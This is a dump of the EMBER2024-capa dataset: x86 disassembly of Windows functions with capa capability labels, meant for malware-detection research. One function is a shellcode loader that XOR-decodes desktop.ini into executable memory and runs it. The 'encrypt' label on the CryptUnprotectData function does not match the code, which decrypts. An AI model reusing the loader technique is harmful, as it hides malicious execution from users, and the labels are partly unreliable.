joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a04b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x100ff008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x400
lea eax, [ebp - 0x404]
mov esi, ecx
push 0
push eax
call fcn.100bfa00
add esp, 0xc
mov dword [ebp - 0x408], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x40c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100a0536
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x408]
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x404]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a0560
sub ecx, edx
lea eax, [ebp - 0x404]
push ecx
push eax
mov ecx, esi
call fcn.100b1950
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x100a05a8
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a059e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a05fb
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x100a05ea
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a05e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a05fb
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
call fcn.100c93fd
int3
Function at 0x100a3660
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100ff008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x101033c0]
push esi
push edi
mov edi, ecx
mov ecx, dword [0x101033c4]
cmp ebx, ecx
jne 0x100a36ac
mov dword [edi], 0
mov eax, edi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
mov edx, ecx
xor eax, eax
sub edx, ebx
mov dword [ebp - 0xc], eax
dec edx
mov dword [ebp - 8], eax
xor esi, esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], esi
test edx, edx
je 0x100a3701
cmp edx, 0x7fffffff
ja 0x100a3803
push edx
lea ecx, [ebp - 0x10]
call fcn.100b58a0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x10]
push ebx
push 0
push esi
call fcn.100bfa00
mov ecx, dword [0x101033c4]
lea eax, [esi + ebx]
mov esi, dword [ebp - 0x10]
add esp, 0xc
mov ebx, dword [0x101033c0]
mov dword [ebp - 0xc], eax
mov edx, 1
sub ecx, ebx
sub ecx, edx
je 0x100a372d
nop dword [eax]
mov al, byte [ebx + edx]
lea edx, [edx + 1]
mov byte [esi + edx - 2], al
mov esi, dword [ebp - 0x10]
sub ecx, 1
je 0x100a372a
mov ebx, dword [0x101033c0]
jmp 0x100a3710
mov eax, dword [ebp - 0xc]
sub eax, esi
mov dword [ebp - 0x1c], esi
inc eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x100a37ac
mov eax, dword [ebp - 0x10]
xor esi, esi
mov ecx, eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x18], esi
jbe 0x100a378e
mov eax, dword [ebp - 0x14]
add eax, esi
cmp ecx, dword [ebp - 8]
je 0x100a3778
mov al, byte [eax]
mov byte [ecx], al
mov ecx, dword [ebp - 0xc]
inc ecx
mov dword [ebp - 0xc], ecx
jmp 0x100a3785
push eax
push ecx
lea ecx, [ebp - 0x10]
call fcn.100b2130
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x100a3761
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 8]
mov dword [edi + 8], eax
mov eax, edi
mov dword [edi + 4], ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
test ecx, ecx
je 0x100a37f0
mov edx, dword [ebp - 8]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x100a37e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3808
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
call fcn.100b3eb0
call fcn.100c93fd
int3
Function at 0x100a3810
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x100ff008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
mov dword [ebp - 0x21c], ecx
cmp esi, edi
je 0x100a386d
mov eax, dword [edi]
mov edi, dword [edi + 4]
mov ebx, dword [esi]
sub edi, eax
mov dword [ebp - 0x218], eax
mov eax, dword [esi + 8]
sub eax, ebx
cmp edi, eax
jbe 0x100a3857
push edi
mov ecx, esi
call fcn.100b7930
mov ebx, dword [esi]
push edi
push dword [ebp - 0x218]
push ebx
call fcn.100bfbc0
lea eax, [ebx + edi]
add esp, 0xc
mov dword [esi + 4], eax
cmp dword [ebp + 0x20], 0x10
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x200
push ecx
push 0
lea eax, [ebp + 0xc]
cmovae eax, dword [ebp + 0xc]
push 0
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100a38e4
xor edi, edi
cmp dword [ebp - 0x210], edi
jbe 0x100a38e4
nop
mov cl, byte [ebp + edi - 0x20c]
mov eax, dword [esi + 4]
mov byte [ebp - 0x211], cl
cmp eax, dword [esi + 8]
je 0x100a38cc
mov byte [eax], cl
inc dword [esi + 4]
jmp 0x100a38db
lea ecx, [ebp - 0x211]
push ecx
push eax
mov ecx, esi
call fcn.100b2130
inc edi
cmp edi, dword [ebp - 0x210]
jb 0x100a38b0
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x100a3914
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a390a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3925
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
call fcn.100c93fd
int3
Function at 0x100a8d60
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100ff008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
sub esp, 0x18
mov ecx, esp
push 0x10101038
call fcn.100b1340
lea ecx, [ebp - 0x50]
call fcn.10084ca0
add esp, 0x18
lea ecx, [ebp - 0x38]
mov esi, eax
call fcn.10086fb0
push esi
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1c]
call fcn.100b3f00
mov edx, dword [ebp - 0x24]
cmp edx, 0x10
jb 0x100a8dd6
mov ecx, dword [ebp - 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8dcc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8edc
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp edx, 0x10
jb 0x100a8e1c
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8e12
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8edc
push edx
push ecx
call fcn.100bd5f4
add esp, 8
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100a8e5b
test al, 0x10
je 0x100a8e5b
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.100b1340
call fcn.100a7da0
add esp, 0x30
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x100a8e8b
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8e81
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8ee1
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp edx, 0x10
jb 0x100a8ecd
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a8ec3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a8ee1
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
call fcn.100c93fd
call fcn.100c93fd
int3
Function at 0x100b2b40
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x100b2b71
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x100b2b60
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x100d3407
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100d3084

Function at 0x100db483
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100db2f9
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x14]
mov cl, byte [eax]
mov dl, byte [eax + 1]
push esi
mov esi, dword [esp + 0x14]
test esi, esi
mov dword [esp + 8], 0
jle 0x402182
push ebx
push ebp
push edi
movzx esi, cl
movzx ebp, dl
lea ebx, [ebx]
lea eax, [esi + 1]
cdq
mov ecx, 0x2d9
idiv ecx
mov ecx, dword [0x425bac]
mov edi, 0x2d9
push 0x41c3ec
push 0x4281a0
movzx esi, dl
movzx eax, byte [esi + ecx]
add eax, ebp
mov byte [esp + 0x1a], dl
cdq
idiv edi
movzx ebp, dl
mov bl, byte [ecx + ebp]
lea eax, [ecx + ebp]
mov byte [esp + 0x1b], dl
mov dl, byte [esi + ecx]
mov byte [esi + ecx], bl
mov byte [eax], dl
mov ecx, dword [0x425bac]
movzx edx, byte [esi + ecx]
movzx eax, byte [ecx + ebp]
add eax, edx
cdq
mov ecx, edi
idiv ecx
mov byte [esp + 0x19], dl
call fcn.00401a60
add esp, 8
mov edi, eax
push 0xa
mov ecx, edi
call fcn.00401d60
mov edx, dword [edi]
mov eax, dword [edx + 4]
mov cl, byte [eax + edi + 8]
add eax, edi
xor ebx, ebx
test cl, 6
jne 0x402127
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x402127
mov ebx, 4
mov eax, dword [edi]
mov ecx, dword [eax + 4]
add ecx, edi
test ebx, ebx
je 0x402149
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0x28]
or eax, ebx
test edx, edx
jne 0x402141
or eax, 4
push 0
push eax
call fcn.0041074e
movzx ecx, byte [esp + 0x11]
mov edx, dword [0x425bac]
mov dl, byte [ecx + edx]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
xor byte [eax + ecx], dl
mov ecx, dword [esp + 0x20]
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jl 0x402090
mov cl, byte [esp + 0x12]
mov eax, dword [esp + 0x24]
mov dl, byte [esp + 0x13]
pop edi
pop ebp
pop ebx
mov byte [eax], cl
mov byte [eax + 1], dl
pop esi
add esp, 8
ret

Function at 0x402690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4026a9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4026bd
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4026de
cmp esi, eax
jae 0x4026b7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4026d0
cmp esi, eax
jae 0x4026b7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40446c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00404660
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404507
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x427c28]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x404507
cmp eax, 1
je 0x404528
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404507
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x4044d4
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x404503
xor eax, eax
inc eax
jmp 0x404547
cmp edi, eax
jae 0x40450b
xor eax, eax
jmp 0x404547
cmp eax, esi
jae 0x404512
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x427c28]
jmp 0x40452b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404cc6
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x41d900
call fcn.004058b0
mov edi, 0x94
mov eax, edi
call fcn.00404660
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x427c28], ecx
mov eax, dword [esi + 4]
mov dword [0x427c34], eax
mov edx, dword [esi + 8]
mov dword [0x427c38], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x427c2c], esi
cmp ecx, 2
je 0x404d26
or esi, 0x8000
mov dword [0x427c2c], esi
shl eax, 8
add eax, edx
mov dword [0x427c30], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x404d61
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404d61
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x404d79
cmp eax, 0x20b
je 0x404d66
mov dword [ebp - 0x1c], esi
jmp 0x404d8d
cmp dword [ecx + 0x84], 0xe
jbe 0x404d61
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x404d87
cmp dword [ecx + 0x74], 0xe
jbe 0x404d61
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00408521
pop ecx
test eax, eax
jne 0x404da1
push 0x1c
call fcn.00404ca2
pop ecx
call fcn.00406c36
test eax, eax
jne 0x404db2
push 0x10
call fcn.00404ca2
pop ecx
call fcn.0040a82d
mov dword [ebp - 4], esi
call fcn.0040a62f
test eax, eax
jge 0x404dcb
push 0x1b
call fcn.00404c7d
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4296d0], eax
call fcn.0040a50d
mov dword [0x427c14], eax
call fcn.0040a46b
test eax, eax
jge 0x404df1
push 8
call fcn.00404c7d
pop ecx
call fcn.0040a238
test eax, eax
jge 0x404e02
push 9
call fcn.00404c7d
pop ecx
push 1
call fcn.0040569a
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x404e18
push eax
call fcn.00404c7d
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0040a1db
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x404e39
movzx eax, word [ebp - 0x40]
jmp 0x404e3c
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.0041297a
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x404e5a
push edi
call fcn.004057c7
call fcn.004057e9
jmp 0x404e8c
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.004058eb
ret
Function at 0x405704
Capabilities:
Terminate process

Disassembly:
push 8
push 0x41d950
call fcn.004058b0
push 8
call fcn.004084d6
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x427c68], esi
jne 0x405738
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x427c64], esi
mov al, byte [ebp + 0x10]
mov byte [0x427c60], al
cmp dword [ebp + 0xc], edi
jne 0x405782
cmp dword [0x4296c8], edi
je 0x405772
mov eax, dword [0x4296c4]
sub eax, 4
mov dword [0x4296c4], eax
cmp eax, dword [0x4296c8]
jb 0x405772
mov eax, dword [eax]
cmp eax, edi
je 0x405753
call eax
jmp 0x405753
push 0x4240a4
mov eax, 0x42409c
call fcn.00405682
pop ecx
push 0x4240b0
mov eax, 0x4240a8
call fcn.00405682
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x4057b3
cmp dword [ebp + 0x10], edi
jne 0x4057c1
mov dword [0x427c68], esi
push dword [ebp + 8]
call fcn.00405640
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x4057c0
push 8
call fcn.00408421
pop ecx
ret
call fcn.004058eb
ret
Function at 0x4090b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4090de
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4090e5
cmp ebx, dword [eax + 4]
jae 0x4090e5
xor eax, eax
jmp 0x4092d5
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4090f6
xor eax, eax
inc eax
jmp 0x4092d4
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40910c
cmp ecx, edx
jae 0x409251
cmp dword [eax + 4], 0
je 0x409115
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4090fd
cmp dword [ebp + 8], 0
je 0x409137
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x409251
cmp eax, esi
jae 0x409251
mov eax, dword [0x427de8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40915c
cmp dword [esi*4 + 0x427df0], edi
je 0x409255
inc esi
cmp esi, eax
jl 0x40914a
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4092d1
cmp dword [ebp - 8], 0x1000000
jne 0x4092d1
test byte [ebp - 0xc], 0xcc
je 0x4091da
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4092d1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4092d1
cmp word [eax + 0x18], 0x10b
jne 0x4092d1
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4092d1
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x4091da
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x4091da
test byte [ecx + 0x27], 0x80
jne 0x409251
push 1
push 0x427e30
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4090ee
mov ecx, dword [0x427de8]
test ecx, ecx
mov edx, ecx
jle 0x40920e
lea eax, [ecx*4 + 0x427dec]
cmp dword [eax], edi
je 0x40920e
dec edx
sub eax, 4
test edx, edx
jg 0x409202
test edx, edx
jne 0x40923f
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40921b
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x409233
lea eax, [edx*4 + 0x427df0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x409221
cmp ecx, 0x10
jge 0x40923f
inc ecx
mov dword [0x427de8], ecx
push 0
push 0x427e30
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4090ee
xor eax, eax
jmp 0x4092d4
test esi, esi
jle 0x4090ee
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x427e30
call ebx
test eax, eax
jne 0x4090ee
cmp dword [esi*4 + 0x427df0], edi
je 0x4092ab
mov eax, dword [0x427de8]
lea esi, [eax - 1]
test esi, esi
jl 0x409299
cmp dword [esi*4 + 0x427df0], edi
je 0x409295
dec esi
jns 0x409289
test esi, esi
jge 0x4092a9
cmp eax, 0x10
jge 0x4092a4
inc eax
mov dword [0x427de8], eax
lea esi, [eax - 1]
jmp 0x4092ab
je 0x4092c3
xor ecx, ecx
test esi, esi
jl 0x4092c3
lea eax, [ecx*4 + 0x427df0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4092b1
push 0
push 0x427e30
call ebx
jmp 0x4090ee
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409ec7
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x424930]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x424f18]
je 0x409efc
inc eax
cmp eax, 0x13
jb 0x409eed
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x424f18]
jne 0x40a022
mov eax, dword [0x427c1c]
cmp eax, 1
je 0x409ffa
cmp eax, edx
jne 0x409f2c
cmp dword [0x42495c], 1
je 0x409ffa
cmp ecx, 0xfc
je 0x40a022
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x409f62
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.0040b650
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.004052c0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x409f96
mov eax, edi
push eax
call fcn.004052c0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x41dd1c
push edi
call fcn.0040d050
add esp, 0x10
push edi
call fcn.004052c0
push dword [esi + 0x424f1c]
mov ebx, eax
call fcn.004052c0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00404660
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.0040b650
push edi
push ebx
call fcn.0040b660
push 0x41dd18
push ebx
call fcn.0040b660
push dword [esi + 0x424f1c]
push ebx
call fcn.0040b660
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.0040db44
add esp, 0x2c
jmp 0x40a022
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x424f1c]
push dword [esi]
call fcn.004052c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.004046ce
pop edi
pop esi
pop ebx
